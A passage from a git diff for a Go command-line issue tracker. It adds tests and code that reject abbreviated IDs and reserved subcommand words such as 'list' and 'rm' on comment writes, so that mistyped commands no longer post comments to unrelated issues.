"comment_test.go", + "comments_add_test.go", "comments_cli_embedded_test.go", "comments_test.go", "compact_embedded_test.go", diff --git a/cmd/bd/cli_fast_test.go b/cmd/bd/cli_fast_test.go index 92d96cfcb..93f179d3a 100644 --- a/cmd/bd/cli_fast_test.go +++ b/cmd/bd/cli_fast_test.go @@ -1525,11 +1525,13 @@ func TestCLI_CommentsSwappedAddRejectedInProxiedServerMode(t *testing.T) { } } -// TestCLI_CommentsAddShortID tests that 'comments add' accepts short IDs (issue #1070) -// Most bd commands accept short IDs (e.g., "5wbm") but comments add previously required -// full IDs (e.g., "mike.vibe-coding-5wbm"). This test ensures short IDs work. -// -// Note: Short IDs work because the code calls utils.ResolvePartialID(). +// TestCLI_CommentsAddShortID tests that 'comments add' accepts a bare full +// hash without its issue prefix (e.g. "5wbm" for "mike.vibe-coding-5wbm", +// issue #1070) — full IDs used to be required. It does NOT test genuine +// abbreviation (a hash shorter than the real one): since PR #5393, comment +// writes require an exact id (see resolveAndGetIssueForMutationExact / +// utils.ResolvePartialIDExact) and PartialIDWithCommentsAdd below asserts +// that a real abbreviation is refused, not accepted. func TestCLI_CommentsAddShortID(t *testing.T) { t.Run("ShortIDWithCommentsAdd", func(t *testing.T) { @@ -1582,6 +1584,14 @@ func TestCLI_CommentsAddShortID(t *testing.T) { } }) + // PartialIDWithCommentsAdd used to assert that a genuinely abbreviated id + // (shorter than the full hash) succeeded on "comments add" — true when + // this test was written (issue #1070), but no longer the contract: PR + // #5393 review item M1 established that "comments add" must refuse an + // abbreviation exactly like "comment" (singular) does (see + // TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage), since the two + // are documented as guarded twins (CHANGELOG.md, hash-ids.md). This + // subtest now asserts the refusal instead of the old silent-accept. t.Run("PartialIDWithCommentsAdd", func(t *testing.T) { tmpDir := setupCLITestDB(t) @@ -1595,22 +1605,53 @@ func TestCLI_CommentsAddShortID(t *testing.T) { json.Unmarshal([]byte(jsonOut), &issue) fullID := issue["id"].(string) - // Extract short ID and use only first 4 characters (partial match) + // Derive the abbreviation as a strict, one-character-shorter leading + // prefix of the real hash — the same derivation + // comment_proxied_integration_test.go:247 already uses. The previous + // "truncate to 4 chars, only if longer than 4" logic never fired + // against a fresh test DB's fixture hashes (min_hash_length unset, + // hashes as short as 3 chars), so shortID stayed equal to the full + // hash and this subtest was dead-red in its own setup, never reaching + // the assertions below (PR #5393 review R2, bee-ghosttrack) — and + // mutation P-B (reverting comments.go's resolver back to the + // abbreviation-tolerant one) went uncaught as a result. parts := strings.Split(fullID, "-") - shortID := parts[len(parts)-1] - if len(shortID) > 4 { - shortID = shortID[:4] // Use only first 4 chars for partial match + hash := parts[len(parts)-1] + if len(hash) < 2 { + t.Fatalf("test setup: hash %q too short to abbreviate", hash) } + shortID := hash[:len(hash)-1] t.Logf("Full ID: %s, Partial ID: %s", fullID, shortID) - // Add comment using partial ID - stdout, stderr, err := runBDInProcessAllowError(t, tmpDir, "comments", "add", shortID, "Comment via partial ID") + // Sanity check: the same abbreviation still works on a READ path + // (show), proving this is a real, resolvable abbreviation and not an + // accident of the fixture — the refusal below is specific to writes. + showOut, showErr, err := runBDInProcessAllowError(t, tmpDir, "show", shortID, "--json") if err != nil { - t.Fatalf("comments add with partial ID failed: %v\nstdout: %s\nstderr: %s", err, stdout, stderr) + t.Fatalf("fixture sanity check failed: 'bd show %s' unexpectedly failed: %v\nstdout: %s\nstderr: %s", shortID, err, showOut, showErr) + } + if !strings.Contains(showOut, fullID) { + t.Fatalf("fixture sanity check failed: 'bd show %s' did not resolve to %s, got: %s", shortID, fullID, showOut) } - if !strings.Contains(stdout, "Comment added") { - t.Errorf("Expected 'Comment added' in output, got: %s", stdout) + // Add comment using partial ID — must now be refused, truthfully. + stdout, stderr, err := runBDInProcessAllowError(t, tmpDir, "comments", "add", shortID, "Comment via partial ID") + if err == nil { + t.Fatalf("expected non-zero exit for 'bd comments add %s ...' (abbreviation on a write path), got stdout=%q stderr=%q", shortID, stdout, stderr) + } + combined := stdout + stderr + if !strings.Contains(combined, "abbreviations are not accepted") { + t.Errorf("expected the truthful abbreviation-refusal message, got stdout=%q stderr=%q", stdout, stderr) + } + if strings.Contains(combined, "not found") { + t.Errorf("message must not claim the issue was not found — %s exists, only the abbreviation was refused; got stdout=%q stderr=%q", fullID, stdout, stderr) + } + + // Regression check: no comment silently landed on the real issue. + commentsOut := runBDInProcess(t, tmpDir, "comments", fullID, "--json") + trimmed := strings.TrimSpace(commentsOut) + if trimmed != "[]" && trimmed != "null" { + t.Fatalf("expected no comments on %s after rejected abbreviated 'comments add', got: %s", fullID, commentsOut) } }) @@ -1810,6 +1851,176 @@ func TestCLI_CommentTextStartingWithReservedWordStillWorks(t *testing.T) { } } +// TestCLI_CommentRmDeleteReservedWordsRejected covers the two reserved words +// TestCLI_CommentListMisplacedSyntax/TestCLI_CommentAddMisplacedSyntax do not: +// "rm" and "delete" carry no hand-written case in validateCommentArgs (unlike +// "list"/"add"), so they fall through to checkCommentIDNotReservedWord's +// generic message and, before this test, had no CLI-level (cobra-dispatch) +// coverage at all — steveyegge's PR #5393 review (item a) flagged that +// generic message as potentially misleading for these two specifically, since +// neither is an actual "bd comments" subcommand the way "list"/"add" are. +// This pins both halves: the command is rejected, AND — the part that +// actually matters — no comment silently lands on an unrelated real issue. +func TestCLI_CommentRmDeleteReservedWordsRejected(t *testing.T) { + t.Parallel() + + for _, word := range []string{"rm", "delete"} { + t.Run(word, func(t *testing.T) { + t.Parallel() + tmpDir := setupCLITestDB(t) + + out := runBDInProcess(t, tmpDir, "create", "Bystander issue for "+word+"-typo", "-p", "1", "--json") + jsonStart := strings.Index(out, "{") + if jsonStart < 0 { + t.Fatalf("No JSON found in create output: %s", out) + } + var issue map[string]interface{} + if err := json.Unmarshal([]byte(out[jsonStart:]), &issue); err != nil { + t.Fatalf("Failed to parse create JSON: %v\nOutput: %s", err, out) + } + fullID := issue["id"].(string) + + stdout, stderr, err := runBDInProcessAllowError(t, tmpDir, "comment", word, "accidental stray text") + if err == nil { + t.Fatalf("expected non-zero exit for 'bd comment %s ...', got stdout=%q stderr=%q", word, stdout, stderr) + } + combined := stdout + stderr + // Must be refused as an id/reserved word — but, unlike "list"/"add", + // must NOT claim it is a misplaced "bd comments" subcommand: there is + // no "bd comments rm" or "bd comments delete". + if !strings.Contains(combined, "not a valid issue id") { + t.Errorf("expected a not-a-valid-issue-id refusal, got stdout=%q stderr=%q", stdout, stderr) + } + if strings.Contains(combined, "misplaced") { + t.Errorf("message falsely implies %q is a misplaced \"bd comments\" subcommand (it isn't one), got stdout=%q stderr=%q", word, stdout, stderr) + } + + // The regression check: the bystander issue must have received NO + // comment. + commentsOut := runBDInProcess(t, tmpDir, "comments", fullID, "--json") + trimmed := strings.TrimSpace(commentsOut) + if trimmed != "[]" && trimmed != "null" { + t.Fatalf("expected no comments on bystander issue %s after rejected 'comment %s', got: %s", fullID, word, commentsOut) + } + }) + } +} + +// TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch closes PR #5393 +// review R2's "NEW MINOR — the guard's wiring is untested": comments_add_test.go +// unit-tests validateCommentsAddArgs directly, and that catches a gutted +// function body (mutation P-C), but nothing drove "bd comments add +// ..." through actual cobra dispatch — unwiring +// commentsAddCmd's Args field back to cobra.MinimumNArgs(1) left every +// existing test green (mutation P-D). This runs the real command line, the +// way a caller or an automated session actually invokes it, for every word in +// commentReservedIDWords (validateCommentsAddArgs has no singular/plural +// special-casing, unlike "comment"'s validateCommentArgs, so all four take +// the same generic-message path and are equally worth covering here). +func TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch(t *testing.T) { + t.Parallel() + + for _, word := range []string{"list", "add", "rm", "delete"} { + t.Run(word, func(t *testing.T) { + t.Parallel() + tmpDir := setupCLITestDB(t) + + out := runBDInProcess(t, tmpDir, "create", "Bystander issue for comments-add "+word+"-typo", "-p", "1", "--json") + jsonStart := strings.Index(out, "{") + if jsonStart < 0 { + t.Fatalf("No JSON found in create output: %s", out) + } + var issue map[string]interface{} + if err := json.Unmarshal([]byte(out[jsonStart:]), &issue); err != nil { + t.Fatalf("Failed to parse create JSON: %v\nOutput: %s", err, out) + } + fullID := issue["id"].(string) + + stdout, stderr, err := runBDInProcessAllowError(t, tmpDir, "comments", "add", word, "accidental stray text") + if err == nil { + t.Fatalf("expected non-zero exit for 'bd comments add %s ...', got stdout=%q stderr=%q", word, stdout, stderr) + } + combined := stdout + stderr + if !strings.Contains(combined, "not a valid issue id") { + t.Errorf("expected a not-a-valid-issue-id refusal, got stdout=%q stderr=%q", stdout, stderr) + } + + // The regression check: the bystander issue must have received NO + // comment — this is exactly what unwiring commentsAddCmd.Args back + // to cobra.MinimumNArgs(1) would silently allow through. + commentsOut := runBDInProcess(t, tmpDir, "comments", fullID, "--json") + trimmed := strings.TrimSpace(commentsOut) + if trimmed != "[]" && trimmed != "null" { + t.Fatalf("expected no comments on bystander issue %s after rejected 'comments add %s', got: %s", fullID, word, commentsOut) + } + }) + } +} + +// TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage is the CLI-level +// regression test for steveyegge's PR #5393 review item (c): a leading-prefix +// abbreviation of a REAL issue's id is refused on comment writes (exact-only +// policy, unchanged), but the refusal message must not claim the issue does +// not exist — it does, the abbreviation was just refused. Before this fix, +// resolveAndGetIssueForMutationExact surfaced ResolvePartialIDExact's plain +// "no issue found matching %q", which is false in exactly this case; every +// other command family (show/close/update) still accepts the same +// abbreviation, so a truthful, distinguishing message matters here more than +// most refusals. +func TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage(t *testing.T) { + t.Parallel() + + tmpDir := setupCLITestDB(t) + + out := runBDInProcess(t, tmpDir, "create", "Needs an exact id on comment", "-p", "1", "--json") + jsonStart := strings.Index(out, "{") + if jsonStart < 0 { + t.Fatalf("No JSON found in create output: %s", out) + } + var issue map[string]interface{} + if err := json.Unmarshal([]byte(out[jsonStart:]), &issue); err != nil { + t.Fatalf("Failed to parse create JSON: %v\nOutput: %s", err, out) + } + fullID := issue["id"].(string) + if len(fullID) < 4 { + t.Fatalf("test setup: generated id %q too short to abbreviate", fullID) + } + abbrev := fullID[:len(fullID)-1] + + // Sanity check: the same abbreviation still works on a READ path (show), + // proving this is a real, resolvable abbreviation and not an accident of + // the fixture — the gap this test guards is specific to comment WRITES. + showOut, showErr, err := runBDInProcessAllowError(t, tmpDir, "show", abbrev, "--json") + if err != nil { + t.Fatalf("fixture sanity check failed: 'bd show %s' unexpectedly failed: %v\nstdout: %s\nstderr: %s", abbrev, err, showOut, showErr) + } + if !strings.Contains(showOut, fullID) { + t.Fatalf("fixture sanity check failed: 'bd show %s' did not resolve to %s, got: %s", abbrev, fullID, showOut) + } + + stdout, stderr, err := runBDInProcessAllowError(t, tmpDir, "comment", abbrev, "should not be written") + if err == nil { + t.Fatalf("expected non-zero exit for 'bd comment %s ...' (abbreviation on a write path), got stdout=%q stderr=%q", abbrev, stdout, stderr) + } + combined := stdout + stderr + if !strings.Contains(combined, "abbreviations are not accepted") { + t.Errorf("expected the truthful abbreviation-refusal message, got stdout=%q stderr=%q", stdout, stderr) + } + if !strings.Contains(combined, "bd show") { + t.Errorf("expected the message to point at the full id via `bd show`, got stdout=%q stderr=%q", stdout, stderr) + } + if strings.Contains(combined, "not found") { + t.Errorf("message must not claim the issue was not found — %s exists, only the abbreviation was refused; got stdout=%q stderr=%q", fullID, stdout, stderr) + } + + // The regression check: no comment silently landed on the real issue. + commentsOut := runBDInProcess(t, tmpDir, "comments", fullID, "--json") + trimmed := strings.TrimSpace(commentsOut) + if trimmed != "[]" && trimmed != "null" { + t.Fatalf("expected no comments on %s after rejected abbreviated 'comment', got: %s", fullID, commentsOut) + } +} + // TestCLI_CreateRejectsFlagLikeTitles verifies that positional arguments starting // with - or -- are rejected as likely misinterpreted flags (bd-2c0). func TestCLI_CreateRejectsFlagLikeTitles(t *testing.T) { diff --git a/cmd/bd/close.go b/cmd/bd/close.go index d4ceda333..816314fff 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -843,7 +843,7 @@ func resolveCloseTargets(ctx context.Context, localStore storage.DoltStorage, id // Write-intent: a prefix-routed target opens writable so the close // commits on the target head (#4141). Contributor auto-routing below // stays read-only: it hydrates foreign projects that must not be mutated. - if r, err := resolveViaPrefixRoutingWithAccess(ctx, id, true); err == nil { + if r, err := resolveViaPrefixRoutingWithAccess(ctx, id, true, false); err == nil { results = append(results, r) continue } diff --git a/cmd/bd/comment.go b/cmd/bd/comment.go index ac1d9e737..15f577e7c 100644 --- a/cmd/bd/comment.go +++ b/cmd/bd/comment.go @@ -1,13 +1,60 @@ package main import ( + "errors" "fmt" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/utils" ) +// commentReservedIDWords are "comments" subcommand names that must never be +// silently accepted as the positional of "bd comment" (singular). They +// exist so a typo'd plural form — "bd comment list ", meant to be +// "bd comments list" / "bd comments " — fails loudly instead of treating +// "list" as the id and the real id as comment text. +// +// This is not a hypothetical: 15+ automated sessions in one deployment made +// exactly this typo over two days, and because "list" happened to be a +// leading-prefix abbreviation of an unrelated wisp's hash ("list3t0"), each +// one silently wrote a garbage comment onto that wisp instead of erroring. +// The word list mirrors the real "comments" subcommand (add) plus the other +// verbs a "comments " typo is likely to produce. +var commentReservedIDWords = map[string]bool{ + "list": true, + "add": true, + "rm": true, + "delete": true, +} + +// checkCommentIDNotReservedWord rejects an id argument that is one of +// commentReservedIDWords, with a message pointing at the "bd comments" +// subcommand the caller most likely meant. Pure and side-effect free so it +// can run before either the direct or proxied-server RunE branch, and be +// unit tested without a store. +func checkCommentIDNotReservedWord(id string) error { + if !commentReservedIDWords[id] { + return nil + } + // "list" and "add" are genuinely misplaced "bd comments" subcommands, but + // "rm" and "delete" are not — there is no "bd comments rm"/"bd comments + // delete" (they read as bd's own delete command, or "dep rm"'s pattern, + // used in the wrong place). The message below must hold for all four, so + // it says "reserved word", never "misplaced bd comments subcommand". + return HandleErrorRespectJSON(`%q is not a valid issue id — bd reserves it as a command/subcommand word (a real id never collides with one), so it is refused as an id instead of silently resolved as one. + +To comment on an issue: + bd comment "text" + bd comments add "text" + +To list comments: + bd comments + +See: bd comment --help`, id) +} + // validateCommentArgs runs as cobra's Args validation for the singular // "comment" shorthand, before RunE's usesProxiedServer() dispatch and (on // the local/embedded path) before the id ever reaches ResolvePartialID's @@ -45,7 +92,15 @@ To add a comment: See: bd comment --help`) } - return nil + // The two cases above carry hand-written messages for the two typos that + // were actually reported, both real "bd comments" subcommands. The + // remaining reserved words ("rm", "delete") are not "bd comments" + // subcommands — they collide with words bd uses elsewhere ("bd delete", + // "dep rm") — so they get checkCommentIDNotReservedWord's word-agnostic + // generic message instead of a claim that would be false for them. + // Keeping the whole set in commentReservedIDWords also keeps the check + // unit-testable on its own. + return checkCommentIDNotReservedWord(args[0]) } var commentCmd = &cobra.Command{ @@ -96,11 +151,18 @@ To list comments on an issue, use the plural form: bd comments `, ctx := rootCtx - result, err := resolveAndGetIssueForMutation(ctx, store, id) + result, err := resolveAndGetIssueForMutationExact(ctx, store, id) if err != nil { if result != nil { result.Close() } + if errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + // The issue does exist — id just isn't its full form — so + // "resolving %s: %v"'s generic wording (and the "no issue + // found matching" text underneath a plain not-found) would be + // false here. Say what actually happened instead. + return HandleErrorRespectJSON("id abbreviations are not accepted on comment writes; use the full id from `bd show %s`", id) + } return HandleErrorRespectJSON("resolving %s: %v", id, err) } if result == nil || result.Issue == nil { diff --git a/cmd/bd/comment_proxied_integration_test.go b/cmd/bd/comment_proxied_integration_test.go index 4885d8461..4875a5889 100644 --- a/cmd/bd/comment_proxied_integration_test.go +++ b/cmd/bd/comment_proxied_integration_test.go @@ -216,6 +216,75 @@ func TestProxiedServerComment(t *testing.T) { } }) + // TestProxiedServerComment/comment_write_never_resolves_abbreviated_id is + // the "document/test the gap explicitly" half of steveyegge's PR #5393 + // review item (b): "the proxied-server path is untouched by the + // exact-match fix... extend exact matching to that path, or document/test + // the gap explicitly." + // + // Investigation (not just this test) found there is no gap to extend + // matching to: resolveCommentTargetProxied (comments_proxied_server.go) + // resolves via workapi.GetIssueOrWisp with the RAW id, which bottoms out + // in issueSQLRepositoryImpl.Get's plain "WHERE id = ?" (SQL exact + // equality — internal/storage/domain/db/issue.go). Unlike the embedded + // path (resolveAndGetIssueWithRouting -> utils.ResolvePartialID), nothing + // in this call chain ever performed leading-prefix abbreviation matching + // — comment's proxied writes were exact-id-only before PR #5393 and + // remain so. This test locks that in as a regression guard: an + // abbreviation of a REAL issue's id must be refused (not silently + // resolved to it, and not silently resolved to an unrelated bystander + // issue) when running against a real proxied server, the same way it + // already is against the embedded store. + t.Run("comment_write_never_resolves_abbreviated_id", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "pa") + target := bdProxiedCreate(t, bd, p.dir, "Needs exact id on comment (proxied)") + bystander := bdProxiedCreate(t, bd, p.dir, "Bystander issue (proxied)") + + if len(target.ID) < 4 { + t.Fatalf("test setup: generated id %q too short to abbreviate", target.ID) + } + abbrev := target.ID[:len(target.ID)-1] + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "comment", abbrev, "should not land anywhere") + if err == nil { + t.Fatalf("bd comment %s unexpectedly succeeded in proxied mode\nstdout:\n%s\nstderr:\n%s", abbrev, stdout, stderr) + } + // Asserted as the whole message, not strings.Contains(id): the proxied + // route resolves through one exact "WHERE id = ?", so it cannot tell an + // abbreviation of a real issue from an id that names nothing, and it + // deliberately keeps the same "not found" wording for both — where the + // embedded route says "id abbreviations are not accepted on comment + // writes" (comment.go). Giving the proxied plane the truthful wording + // would mean probing for abbreviation matches on a write path, which is + // the resolution behaviour this PR exists to remove. A Contains(id) + // assertion passes on either wording, so it would leave that asymmetry + // untested; pinning the exact text makes it a deliberate choice that + // breaks loudly if either side moves. + if got, want := strings.TrimSpace(stderr), "Error: issue "+abbrev+" not found"; got != want { + t.Errorf("abbreviated-ID stderr = %q, want %q", got, want) + } + if stdout != "" { + t.Errorf("abbreviated-ID stdout = %q, want empty", stdout) + } + + // The regression check: neither the abbreviation's real target nor an + // unrelated bystander received a comment. + for _, id := range []string{target.ID, bystander.ID} { + commentsOut, commentsErr, cErr := bdProxiedRunBuffers(t, bd, p.dir, "comments", "--json", id) + if cErr != nil { + t.Fatalf("bd comments --json %s failed: %v\nstdout:\n%s\nstderr:\n%s", id, cErr, commentsOut, commentsErr) + } + var comments []types.Comment + if err := json.Unmarshal([]byte(commentsOut), &comments); err != nil { + t.Fatalf("decode comments JSON for %s: %v\nraw: %q", id, err, commentsOut) + } + if len(comments) != 0 { + t.Fatalf("expected no comments on %s after rejected abbreviated 'comment', got: %v", id, comments) + } + } + }) + t.Run("wisp_comments_add_round_trip_and_physical_routing", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "wa") diff --git a/cmd/bd/comment_reserved_word_test.go b/cmd/bd/comment_reserved_word_test.go new file mode 100644 index 000000000..ed67ba2fc --- /dev/null +++ b/cmd/bd/comment_reserved_word_test.go @@ -0,0 +1,46 @@ +package main + +import ( + "strings" + "testing" +) + +// TestCheckCommentIDNotReservedWord covers a real incident: "bd comment list +// ", a typo for "bd comments list", must be rejected before any id +// resolution is attempted — not silently treat "list" as the id. +func TestCheckCommentIDNotReservedWord(t *testing.T) { + reserved := []string{"list", "add", "rm", "delete"} + for _, word := range reserved { + t.Run("rejects reserved word "+word, func(t *testing.T) { + var err error + stderr := captureStderr(t, func() { + err = checkCommentIDNotReservedWord(word) + }) + if err == nil { + t.Fatalf("checkCommentIDNotReservedWord(%q) = nil; want error", word) + } + if !strings.Contains(stderr, "bd comments") { + t.Errorf("checkCommentIDNotReservedWord(%q) printed %q; want a hint mentioning bd comments", word, stderr) + } + }) + } + + happyPath := []string{ + "bd-123", + "a3f8e9", + "ga-wisp-list3t0", // full id containing "list" as a substring must NOT be rejected + "listicle-42", // starts with "list" but is not the literal reserved word + "LIST", // reserved-word check is intentionally case-sensitive: real ids are lowercase hashes + } + for _, id := range happyPath { + t.Run("allows real id "+id, func(t *testing.T) { + var err error + captureStderr(t, func() { + err = checkCommentIDNotReservedWord(id) + }) + if err != nil { + t.Errorf("checkCommentIDNotReservedWord(%q) = %v; want nil (happy path must stay intact)", id, err) + } + }) + } +} diff --git a/cmd/bd/comment_routed_exact_test.go b/cmd/bd/comment_routed_exact_test.go new file mode 100644 index 000000000..e20b70dee --- /dev/null +++ b/cmd/bd/comment_routed_exact_test.go @@ -0,0 +1,127 @@ +//go:build cgo + +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" +) + +// TestResolveAndGetIssueForMutationExactSurfacesRoutedAbbreviationRefusal pins +// the error SELECTION in resolveAndGetIssueForMutationExact, the one part of +// the exact-match contract the rest of this PR's tests cannot reach: they all +// exercise the LOCAL tier, where the refusal is the function's own return +// value. A cross-rig or auto-routed tier mints the same sentinel, and the +// truthful message the comment write paths print (comment.go, comments.go) +// depends on errors.Is seeing it from there too. +// +// The setup is the shape the sentinel exists for: the local store genuinely +// knows nothing about the id, so its error is the plain "no issue found +// matching" — which is FALSE here, because prefix routing finds the +// abbreviation's real target in the other rig and refuses it there. +// +// Both directions are pinned, because either assertion alone passes for the +// wrong reason: an abbreviation of a routed issue must select the ROUTED +// refusal over the local not-found, and an id that names nothing anywhere +// must still come back as a plain not-found rather than claiming an +// abbreviation exists. +// +// NOTE: assigns the dbPath global and uses os.Chdir, so it cannot run in +// parallel (same constraint as TestCheckBeadGateCrossRigPrefixRoute). +func TestResolveAndGetIssueForMutationExactSurfacesRoutedAbbreviationRefusal(t *testing.T) { + ctx := context.Background() + townRoot := t.TempDir() + townBeadsDir := filepath.Join(townRoot, ".beads") + rigBeadsDir := filepath.Join(townRoot, "rig", ".beads") + if err := os.MkdirAll(townBeadsDir, 0o755); err != nil { + t.Fatalf("create town beads dir: %v", err) + } + if err := os.MkdirAll(rigBeadsDir, 0o755); err != nil { + t.Fatalf("create rig beads dir: %v", err) + } + + // The town store is the local store the comment write paths hold; it never + // holds the routed id, so it supplies the plain not-found this test is + // about discarding. + townDBPath := filepath.Join(townBeadsDir, "dolt") + townStore := newTestStoreIsolatedDB(t, townDBPath, "hq") + + const routedID = "gt-abcdefgh" + // One character short of routedID: not an exact id anywhere, but a valid + // leading-prefix abbreviation of a real issue in the routed rig. + const routedAbbrev = "gt-abcdefg" + // Routes to the same rig, but names nothing there in either form. + const absentRoutedID = "gt-zzzzzzzz" + + rigStore := newTestStoreIsolatedDB(t, filepath.Join(rigBeadsDir, "dolt"), "gt") + if err := rigStore.CreateIssue(ctx, &types.Issue{ + ID: routedID, + Title: "Routed comment target", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + }, "test"); err != nil { + t.Fatalf("create routed issue %s: %v", routedID, err) + } + // Prefix routing opens the target itself, so hand the database back first. + if err := rigStore.Close(); err != nil { + t.Fatalf("close rig store: %v", err) + } + + routesPath := filepath.Join(townBeadsDir, "routes.jsonl") + if err := os.WriteFile(routesPath, []byte(`{"prefix":"gt-","path":"rig"}`), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + + oldDBPath := dbPath + dbPath = townDBPath + t.Cleanup(func() { dbPath = oldDBPath }) + oldWD, err := os.Getwd() + if err != nil { + t.Fatalf("get working directory: %v", err) + } + if err := os.Chdir(townRoot); err != nil { + t.Fatalf("change to town root: %v", err) + } + t.Cleanup(func() { _ = os.Chdir(oldWD) }) + + // Direction 1: the routed tier's refusal must reach the caller, because + // the issue it refuses demonstrably exists. + result, err := resolveAndGetIssueForMutationExact(ctx, townStore, routedAbbrev) + if result != nil { + result.Close() + t.Fatalf("abbreviation %q of routed issue %s resolved instead of being refused", routedAbbrev, routedID) + } + if err == nil { + t.Fatalf("abbreviation %q of routed issue %s returned no error", routedAbbrev, routedID) + } + if !errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Errorf("routed abbreviation %q error = %v, want one satisfying errors.Is(err, utils.ErrAbbreviatedIDNotAllowed)\n"+ + "the comment write paths key their truthful message off this sentinel, so a local not-found here prints "+ + "\"no issue found matching\" for an issue the routed rig holds", routedAbbrev, err) + } + + // Direction 2: an id that names nothing in either store must NOT be + // reported as an abbreviation refusal — the selection has to be driven by + // the routed error's own sentinel, not by having routed at all. + result, err = resolveAndGetIssueForMutationExact(ctx, townStore, absentRoutedID) + if result != nil { + result.Close() + t.Fatalf("absent routed id %q resolved unexpectedly", absentRoutedID) + } + if err == nil { + t.Fatalf("absent routed id %q returned no error", absentRoutedID) + } + if errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + t.Errorf("absent routed id %q error = %v, want NOT an abbreviation refusal", absentRoutedID, err) + } + if !isNotFoundErr(err) { + t.Errorf("absent routed id %q error = %v, want a not-found error", absentRoutedID, err) + } +} diff --git a/cmd/bd/comments.go b/cmd/bd/comments.go index f0d02bb4e..c789ef498 100644 --- a/cmd/bd/comments.go +++ b/cmd/bd/comments.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "strings" @@ -10,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/uimd" + "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/issueops" ) @@ -165,6 +167,21 @@ See: bd comments --help`) }, } +// validateCommentsAddArgs runs as cobra's Args validation for "comments add", +// the plural twin of "comment"'s validateCommentArgs. It exists for the same +// reason: an id argument that IS a reserved word (see +// commentReservedIDWords) must never reach either dispatch branch (local or +// proxied) or fuzzy resolution, where it could silently land on an unrelated +// issue instead of erroring. Unlike validateCommentArgs, there is no +// singular/plural confusion to special-case here — "comments add" is already +// the plural form — so this only runs the word-agnostic generic check. +func validateCommentsAddArgs(cmd *cobra.Command, args []string) error { + if err := cobra.MinimumNArgs(1)(cmd, args); err != nil { + return err + } + return checkCommentIDNotReservedWord(args[0]) +} + var commentsAddCmd = &cobra.Command{ Use: "add [issue-id] [text...]", Short: "Add a comment to an issue", @@ -176,7 +193,7 @@ Examples: # Add a comment from a file bd comments add bd-123 -f notes.txt`, - Args: cobra.MinimumNArgs(1), + Args: validateCommentsAddArgs, SilenceUsage: true, SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { @@ -213,11 +230,19 @@ Examples: } ctx := rootCtx - result, err := resolveAndGetIssueForMutation(ctx, store, issueID) + result, err := resolveAndGetIssueForMutationExact(ctx, store, issueID) if err != nil { if result != nil { result.Close() } + if errors.Is(err, utils.ErrAbbreviatedIDNotAllowed) { + // The issue does exist — id just isn't its full form — so + // "resolving %s: %v"'s generic wording (and the "no issue + // found matching" text underneath a plain not-found) would be + // false here. Say what actually happened instead, matching + // "bd comment"'s truthful message. + return HandleErrorRespectJSON("id abbreviations are not accepted on comment writes; use the full id from `bd show %s`", issueID) + } return HandleErrorRespectJSON("resolving %s: %v", issueID, err) } if result == nil || result.Issue == nil { diff --git a/cmd/bd/comments_add_test.go b/cmd/bd/comments_add_test.go new file mode 100644 index 000000000..979ecbfb3 --- /dev/null +++ b/cmd/bd/comments_add_test.go @@ -0,0 +1,43 @@ +package main + +import "testing" + +// TestValidateCommentsAddArgs is a pure unit test for "comments add"'s Args +// guard — it calls the validator directly with no store, no Dolt, and no +// cobra dispatch, so it runs regardless of cgo/Docker availability. Mirrors +// TestValidateCommentArgs (the singular "comment" sibling in comment_test.go) +// for the plural form: PR #5393 review item M1 established that "comments +// add" must reject a reserved-word id exactly like "comment" does, since the +// two are documented as guarded twins (CHANGELOG.md, hash-ids.md). +func TestValidateCommentsAddArgs(t *testing.T) { + origJSONOutput := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = origJSONOutput }) + + cases := []struct { + name string + args []string + wantErr bool + }{ + {name: "bare list is rejected", args: []string{"list", "some text"}, wantErr: true}, + {name: "bare add is rejected", args: []string{"add", "some text"}, wantErr: true}, + {name: "bare rm is rejected", args: []string{"rm", "some text"}, wantErr: true}, + {name: "bare delete is rejected", args: []string{"delete", "some text"}, wantErr: true}, + {name: "real id with text starting with the word list is fine", args: []string{"test-abc123", "list", "of", "things", "to", "do"}, wantErr: false}, + {name: "real id with text starting with the word add is fine", args: []string{"test-abc123", "add", "one", "more", "item"}, wantErr: false}, + {name: "real id alone (text comes from --stdin/--file) is fine", args: []string{"test-abc123"}, wantErr: false}, + {name: "no args at all is rejected by the base MinimumNArgs check", args: []string{}, wantErr: true}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := validateCommentsAddArgs(commentsAddCmd, tc.args) + if tc.wantErr && err == nil { + t.Fatalf("validateCommentsAddArgs(%q): expected an error, got nil", tc.args) + } + if !tc.wantErr && err != nil { + t.Fatalf("validateCommentsAddArgs(%q): expected no error, got %v", tc.args, err) + } + }) + } +} diff --git a/cmd/bd/routed.go b/cmd/bd/routed.go index af08bfa19..ae0ca7757 100644 --- a/cmd/bd/routed.go +++ b/cmd/bd/routed.go @@ -78,7 +78,7 @@ func resolveAndGetIssueWithRoutingAccess(ctx context.Context, localStore storage // This handles cross-rig lookups where the ID's prefix maps to a different // database (e.g., hr-8wn.1 routes to the herald rig's database). if isNotFoundErr(err) { - if prefixResult, prefixErr := resolveViaPrefixRoutingWithAccess(ctx, id, writablePrefixRoute); prefixErr == nil { + if prefixResult, prefixErr := resolveViaPrefixRoutingWithAccess(ctx, 